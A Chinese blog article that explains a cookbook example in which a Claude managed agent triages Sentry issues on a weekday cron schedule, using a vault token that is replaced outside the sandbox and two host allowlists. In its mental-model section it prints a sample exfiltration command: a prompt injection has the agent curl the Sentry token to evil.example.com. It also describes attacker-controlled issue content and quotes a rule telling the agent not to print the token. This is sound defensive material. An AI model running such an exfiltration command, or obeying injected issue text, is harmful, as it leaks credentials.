news 2026/9/8 18:24:46

Claude Cookbooks:用 Claude Managed Agent 实现定时 Sentry 分诊的实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Claude Cookbooks:用 Claude Managed Agent 实现定时 Sentry 分诊的实战指南

Claude Cookbooks:用 Claude Managed Agent 实现定时 Sentry 分诊的实战指南

【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks

本文基于 claude-cookbooks 仓库中 managed_agents/sentry 示例,完整讲解如何利用 Claude 托管 Agent(Managed Agent)与 Vault 凭据体系,搭建一个「每周一至周五早上 9 点自动拉取最近 24 小时 Sentry 问题并输出分诊报告」的无主机常驻进程。读完本文,你将掌握托管沙箱的令牌替换机制、双层 allowed_hosts 白名单、cron 部署的版本钉扎与 DST 边界,以及一套可复制的「部署→手动验证→迭代更新→清理」完整工程流程。

本示例对应的编排脚本全部位于仓库managed_agents/sentry/目录(cma.pysetup_agent.pydeploy.py等),.env.examplepyproject.toml等配套文件一同构成一个开箱即用的参考实现。


心智模型:令牌到底住在哪里

skill.md用一张 ASCII 图(见managed_agents/sentry/skill.md)刻画了本示例最关键的安全心智模型:真实令牌永不进入沙箱

your host Anthropic sandbox (container) ┌─────────────┐ ┌─────────────────────┐ ┌────────────────────────────┐ │ real token ─┼─────▶│ vault (encrypted) │ │ SENTRY_AUTH_TOKEN= │ └─────────────┘ │ │ │ <opaque placeholder> │ │ egress proxy │◀─────┼─ sentry-cli / curl request │ │ placeholder→token │ │ with placeholder in │ │ IF host allowlisted│ │ Authorization header │ └──────────┬──────────┘ └────────────────────────────┘ │ real token, only toward ▼ api.sentry.io / *.sentry.io

整条链路可以拆解为三层:

  1. 你的宿主机持有真实令牌,通过环境变量SENTRY_AUTH_TOKEN写入.env,但它只被用来创建 Vault 凭据(见setup_agent.py第 9 行require_env("SENTRY_AUTH_TOKEN")),随后便不再参与运行期。
  2. Vault 是加密的凭据仓库。托管环境刻意规定:environment_variable类型的 Vault 凭据是唯一能在托管沙箱里设置环境变量的途径。因此一个environment_variable凭据背后是「沙箱里放占位符、出口代理在出站时替换」的机制。
  3. 沙箱只看到占位符。在容器内echo $SENTRY_AUTH_TOKEN打印的是占位符字符串,任何试图外泄该环境变量的代码(例如被提示注入诱导执行curl https://evil.example.com -d "$SENTRY_AUTH_TOKEN")发出的同样是占位符——因为替换只在出站请求的目标主机被允许时发生。

skill.md特别强调了这套机制的边界:它限制的是令牌能去往哪里,而不是令牌能做什么。占位符→令牌的替换发生在出口代理侧,一旦请求打到 Sentry 官方域名,代理会把真实令牌放进Authorization头。因此只要 Sentry 令牌本身带event:write,Agent 依然可以解析或修改 issue——授权模型是分层的:

  • Vault 白名单决定令牌「能去哪儿」(只会被替换到允许的主机);
  • Sentry 的 scope决定令牌「到那儿能干什么」(读还是写)。

所以选取 scope 时应遵循最小权限原则,二者缺一不可。这种模式对任何「通过环境变量鉴权的 CLI」都成立,README 中明确提到ghtwiliovercel都可以照搬,前提是把沙箱里预装好对应 CLI 并让它在沙箱内读取该环境变量。


不是一张白名单,而是两张

新手最容易踩的坑是只配置了一个allowed_hostsskill.md用一张表把两层白名单拆得清清楚楚:

配置项它闸住的是什么
environment.config.networking.allowed_hosts沙箱能否与这个主机建立连接?
credential.auth.networking.allowed_hosts占位符是否会在访问该主机时被替换成真实密钥?

两张白名单都需要包含 Sentry 的主机

  • 只配了环境的allowed_hosts→ 连接能建立,但Authorization头里还是占位符,每次 API 调用都返回 401
  • 只配了凭据的allowed_hosts→ 密钥能被替换,但连接根本打不开(连接被拒/超时)。

setup_agent.py中可以看到两个配置的确切成型方式:

credential = client.beta.vaults.credentials.create( vault.id, auth={ "type": "environment_variable", "secret_name": "SENTRY_AUTH_TOKEN", "secret_value": SENTRY_AUTH_TOKEN, "networking": { "type": "limited", "allowed_hosts": ["sentry.io", "*.sentry.io"], }, }, display_name="Sentry org auth token (read-only scopes)", )
env = client.beta.environments.create( name="cookbook-sentry-triage-env", config={ "type": "cloud", "networking": { "type": "limited", "allow_package_managers": True, "allowed_hosts": ["sentry.io", "*.sentry.io"], }, "packages": {"pip": ["sentry-cli"]}, }, )

注意环境的网络配置里还开了allow_package_managers: True,并把sentry-cli作为 pip 包装进沙箱(源码注释写明「PyPI 包附带 sentry-cli 二进制」),这样 Agent 才能用sentry-cli直接查询。skill.md还提到存在一种unrestricted的凭据网络类型,适用于「事先无法枚举主机清单」的 CLI——但显式白名单是更强的保证,它划出的是「该令牌只对 Sentry 生效」与「该令牌可能被诱导发往任何地方」之间的差别,生产环境应优先使用limited+allowed_hosts


部署(Deployment)= 完整的宿主机进程

skill.md强调了一个容易误解的概念:deployment 把 Agent、环境(environment)、Vault 和初始用户消息与一份 cron 调度打包在一起deploy.py的调用如下:

deployment = client.beta.deployments.create( name="Weekday morning Sentry triage", agent=CLAUDE_AGENT_ID, environment_id=CLAUDE_ENVIRONMENT_ID, vault_ids=[CLAUDE_VAULT_ID], initial_events=[ { "type": "user.message", "content": [{"type": "text", "text": TRIAGE_PROMPT}], } ], schedule={ "type": "cron", "expression": "0 9 * * 1-5", # weekday mornings "timezone": "America/New_York", }, )

initial_events里预置的TRIAGE_PROMPT就是每次调度触发时发给 Agent 的「开场白」——它要求 Agent 拉取{org}/{project}最近 24 小时的 unresolved issues、按系统提示词执行分诊,并把报告写到/mnt/session/outputs/TRIAGE_REPORT.md,最后回复 Summary 段落。

创建成功后会打印deployment.statusschedule.upcoming_runs_at里列出的未来执行时刻,方便你确认表达式是否按预期触发。调度触发后,会话在 Anthropic 基础设施上自行启动,deploy.py运行完毕之后你的机器上没有任何常驻进程——这也是「无主机进程」方案的全部意义。

从仓库 README 的流程示意可以更直观地理解运行时序:

cron (0 9 * * 1-5) ──▶ deployment ──▶ session (sandbox) │ sentry-cli / curl with │ placeholder token ▼ egress proxy: placeholder → real token, *.sentry.io only ▼ TRIAGE_REPORT.md in /mnt/session/outputs/

配置与变更时的陷阱清单(Gotchas)

skill.md的核心价值体现在这份「文档里没有明说、却会烧掉大量调试时间」的陷阱清单上。

系统提示词是被持久化存储的,别把密钥放进去

系统提示词与用户消息都会落入会话的事件历史(event history)。因此组织与项目 slug 这类非机密信息可以放在提示词里——agent_config.py通过build_system_prompt(org, project)SENTRY_ORGSENTRY_PROJECT插值进提示词模板;而令牌永远只允许出现在 Vault 凭据中

agent_config.py生成的系统提示词同时展示了最佳实践:它明确要求 Agent「sentry-cli通过已设置好的SENTRY_AUTH_TOKEN环境变量鉴权,永远不要打印它,也不要把它作为 CLI 参数传入」,并给出了 CLI 拿不到数据时调用 REST API 的兜底方式:

curl -s -H "Authorization: Bearer $SENTRY_AUTH_TOKEN" \ "https://sentry.io/api/0/organizations/{org}/issues/?project={project}&query=is:unresolved&statsPeriod=24h&sort=freq"

*.sentry.io并不覆盖sentry.io

通配符只匹配子域,不匹配裸域。所以两张白名单里都要同时写上sentry.io*.sentry.io——后者用来覆盖us.sentry.iode.sentry.io这类区域化主机。这也与setup_agent.py中凭据、环境两处都同时列出的写法一一对应。

改环境变量名 vs 改环境变量值

  • 改名:需要把原凭据归档(archive)、新建一个凭据,新凭据会拿到不同的占位符。某些场景下存量会话可能自动拾取新凭据,但为了确保新变量一定生效,改名后应开启全新会话
  • 轮换值:可以直接原地更新secret_value,ID 不变,此后(包括正在运行的会话中)的每次新出站请求都会用上新值:
client.beta.vaults.credentials.update( credential_id, vault_id=vault_id, auth={"type": "environment_variable", "secret_value": new_token}, )

networking.allowed_hosts更新时是「整体替换」

想新增一个主机,必须把包含既有条目的完整清单一起提交,而不是增量追加。

Deployment 钉扎住了一个 Agent 版本

agents.update会写入一个新的 Agent 版本,此后你手动开启的会话会使用最新版;但 deployment 不会——它始终使用创建那一刻钉住的版本,因此「只改提示词」永远无法传导到定时运行中。仓库为此专门提供了update_agent.py,它把一件事拆成两半完成:

current = client.beta.agents.retrieve(CLAUDE_AGENT_ID) agent = client.beta.agents.update( CLAUDE_AGENT_ID, version=current.version, # 乐观锁:并发冲突会让本次更新失败 model=MODEL, system=build_system_prompt(SENTRY_ORG, SENTRY_PROJECT), ) ... client.beta.deployments.update(deployment_id, agent=CLAUDE_AGENT_ID) # 重新钉到最新版

agents.update时的version参数是一个乐观锁——如果在你 retrieve 之后、update 之前别人又 bump 了版本,本次更新会失败,从而避免覆盖竞态。脚本还做了防护:只有.env里存在CLAUDE_DEPLOYMENT_ID时才执行重新钉扎,否则仅提示先跑deploy.py。日常改提示词/模型的完整动作链因此是:编辑agent_config.pyuv run python update_agent.py

Cron 是墙钟时间,存在 DST 边界

调度按「POSIX cron 表达式 + IANA 时区」在墙钟时间上匹配:

  • 0 9 * * 1-5+America/New_York意味着无论夏令时如何切换,都按美东 9:00 触发;
  • 春季拨快那一天不存在的时刻会被跳过;秋季拨慢那一天出现两次的时刻会触发两次
  • 如果这会影响业务(例如「每天只发一封」的邮件任务),请把调度排到当地凌晨 1–3 点之外,或干脆使用 UTC;
  • 运行可能延迟最多约 10 秒,粒度是分钟级,每个组织最多可创建 1,000 个 deployment。

deploy.py会在deployments.create后打印schedule.upcoming_runs_atskill.md建议你据此核实表达式确实会在预期时间触发,而不是想当然。

永久性失败会自动暂停 deployment

vault_not_foundagent_archivedenvironment_archived这三类永久性失败会把 deployment 暂停并设置paused_reason——这样一份配置错误的 deployment 不会按计划无限期地失败下去。而瞬时失败(限流、后端错误)不会触发暂停。runs.py是观察这一切的入口:每次调度或手动触发都会写一条 deployment run 记录,即使没有产生会话也会记录,此时error.code会标明失败类别;脚本还提供了has_error=True的过滤视图专门列出失败记录。

pause不是archive

  • pause:停止未来的定时触发,但正在进行的会话会继续跑完,手动触发也仍然可用
  • unpause:从下一个触发时刻恢复,错过的运行不会补跑
  • archive:终态操作,不可逆。

报告文件比会话滞后几秒

Agent 把报告写到/mnt/session/outputs/,Files API 会自动捕获该目录。但索引存在 1–3 秒的滞后(会话进入 idle 之后),所以run_now.py会对空结果轮询重试数次再放弃。另外注意一个安全细节:Agent 读取的是 issue 标题、堆栈等可能受攻击者控制的内容,Agent 自选的文件名不能盲目信任——run_now.py下载前用Path(f.filename).name剥离了所有路径成分,只保留纯文件名再落盘。


从零到一的完整配置清单

skill.md把整个上手指引压缩为 6 步,README 则给出了进入该目录的入口命令:

cd managed_agents/sentry uv sync

随后按顺序执行:

  1. Sentry 侧:进入 Sentry → Settings → Auth Tokens → Create New Token,勾选org:readproject:readevent:read三个只读 scope,复制sntrys_...开头的值。
  2. 本机凭据cp .env.example .env,填入SENTRY_AUTH_TOKENSENTRY_ORG(Sentry URL 中的组织 slug)、SENTRY_PROJECT(项目 slug,不是数字 ID)。Anthropic 侧鉴权二选一:在.env里设置ANTHROPIC_API_KEY,或先用ant auth login登录一次——SDK 在未设置 API key 时会自动发现 CLI 凭据,两种方式都可以。.env.example还预留了可选的COOKBOOK_MODEL覆盖项(agent_config.pyMODEL = os.environ.get("COOKBOOK_MODEL", "claude-opus-4-8"))。
  3. 一次性创建uv run python setup_agent.py,把打印出的CLAUDE_VAULT_IDCLAUDE_AGENT_IDCLAUDE_ENVIRONMENT_ID复制进.env。这一步内部依次完成:创建 vault → 创建带 Sentry 白名单的environment_variable凭据 → 创建 Agent(模型取自agent_config.pyMODEL,系统提示词由build_system_prompt生成,并预置了agent_toolset_20260401工具的always_allow权限策略)→ 创建带网络白名单与sentry-cli依赖的云端环境。
  4. 创建调度uv run python deploy.py,把CLAUDE_DEPLOYMENT_ID复制进.env,并检查打印出的未来运行时刻。
  5. 手动冒烟测试uv run python run_now.py—— 它会立刻以trigger_context.type: "manual"起一个与会话计划完全相同的真实会话、实时流式打印 Agent 输出,并下载TRIAGE_REPORT.md令牌缺 scope、某张白名单配错,都会在这一步暴露出来,而不是等到第二天早上 9 点。
  6. 收尾:至此调度已生效,无需任何宿主机进程。随时可用uv run python runs.py查看历史与失败记录。

之后想改提示词或模型,编辑agent_config.py后执行uv run python update_agent.py(推送变更并重新钉扎 deployment,机制见上文陷阱小节)。想停止,则执行uv run python teardown.py——它会先pause再依次archivedeployment、environment、agent、vault;如果希望调度继续跑,跳过它即可。


失败排查速查表

skill.md提供了一张症状驱动的排查表,是运行期排障的第一手工具:

症状可能原因
sentry-cli返回 401占位符未被替换:主机不在凭据allowed_hosts中,或请求发往了白名单之外的主机
沙箱内连接被拒/超时主机不在环境networking.allowed_hosts
Sentry API 返回 403令牌缺 scope(需要org:readproject:readevent:read
runs.py显示vault_not_found且 deployment 被暂停Vault 被归档而 deployment 仍引用它;需重建并更新 deployment
调度时间已过却没有 run 记录deployment 被暂停(查paused_reason),或你查得太早、还没跨过最长约 10 秒的抖动窗口
run_now.py找不到文件报告索引滞后。脚本会重试;若仍为空,检查流式输出确认 Agent 到底有没有写文件

注意把 401 与 403 区分开:401 意味着「token 没被换上去」,根因在网络/凭据白名单;403 意味着「token 换上了但权限不够」,根因在 Sentry scope。runs.pyerror.code字段则能帮你把vault_not_found(永久,会暂停)与限流/后端错误(瞬时,不暂停)分开定位。


生产化建议

  • 尽量把 Sentry 令牌 scope 收窄到单个项目。只用只读 scope,意味着一次提示注入最坏也只是读到 on-call 工程师能读到的那些数据,写入面被彻底封死。
  • 报告落在会话文件里,而不是你的收件箱。要真正送达,需要注册一个session.status_idledwebhook,在会话结束事件中下载报告并投递到 Slack 等 IM——仓库managed_agents/slack示例提供了可复用的 webhook 模式,run_now.py展示了「列文件→下载→写盘」的完整文件访问姿势。
  • 版本变更走显式双步:先agents.update写新版本(带乐观锁 version),再deployments.update重新钉扎,二者缺一,定时任务就会一直跑旧提示词。

配套资源

  • skill.md:本文的原始底稿,含心智模型图、陷阱清单、排障表
  • README.md:示例概览与快速开始
  • setup_agent.py:vault / 凭据 / Agent / 环境的一次性创建
  • agent_config.py:模型与系统提示词(被 setup 与 update 共用)
  • deploy.py:cron 调度的 deployment 创建
  • run_now.py:手动触发、流式查看并下载报告
  • runs.py:运行历史与失败原因
  • update_agent.py:推送提示词/模型变更并重新钉扎
  • teardown.py:暂停并归档全部资源
  • cma.py:共享客户端与环境变量加载、事件流式与 idle 轮询
  • .env.example:全部必填/可选环境变量的注释模板

【免费下载链接】claude-cookbooksA collection of notebooks/recipes showcasing some fun and effective ways of using Claude.项目地址: https://gitcode.com/GitHub_Trending/an/claude-cookbooks

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/8 18:24:33

32位MCU封装小型化的工程实践:从QFN到WLCSP如何选型

前阵子和一个做光模块的同行聊选型&#xff0c;他问了我一个问题&#xff1a;现在Cortex-M0内核的32位MCU&#xff0c;最小的封装能做到多大&#xff1f;我第一反应是3mm乘3mm的QFN&#xff0c;结果他直接发来一块比米粒还小的板子照片&#xff0c;板上那颗芯片几乎看不出引脚。…

作者头像 李华
网站建设 2026/9/8 18:23:14

用代码图谱为Claude Code减少47%工具调用:原理与实战

1. 先聊聊那个让每个Claude Code用户都肉疼的坑&#xff1a;工具调用在偷偷烧钱如果你已经用Claude Code写了几个星期的代码&#xff0c;大概率遇到过这种场景&#xff1a;你让它去改一个跨模块的功能&#xff0c;它先Glob翻目录&#xff0c;再对着某几个文件grep关键词&#x…

作者头像 李华
网站建设 2026/9/8 18:20:27

Windows上CUDA与cuDNN配置全攻略:从版本匹配到排错

自己动手在Windows上配好CUDA和cuDNN这件事&#xff0c;说难不难&#xff0c;说简单也真的有不少坑。尤其是当你打开NVIDIA官网&#xff0c;看到一大堆版本号、驱动号、计算能力对应表的时候&#xff0c;很容易直接懵掉。更别提装完之后跑深度学习框架&#xff0c;冷不丁冒出一…

作者头像 李华
网站建设 2026/9/8 18:19:05

开源AI编程助手opencode深度体验:配置、技巧与避坑指南

最近AI编程Agent这个圈子是真热闹&#xff0c;从Codex、Claude Code到各种开源项目&#xff0c;感觉每天都有新工具冒出来。今天要聊的这个叫opencode&#xff0c;虽然名字和OpenAI家的Codex有点像&#xff0c;但完全是另一个项目——它是用Go写的开源AI编程助手&#xff0c;支…

作者头像 李华
网站建设 2026/9/8 18:18:32

AIRAGDebug:RAG链路调试与可观测性实战

线上RAG问答突然开始答非所问&#xff0c;知识库文档明明更新了&#xff0c;可检索出来的还是旧内容&#xff0c;召回结果排序混乱&#xff0c;明明改了提示词但输出质量毫无变化……如果你也经历过这种排查起来毫无头绪的夜晚&#xff0c;这篇文章应该能帮你省下几个通宵。AIR…

作者头像 李华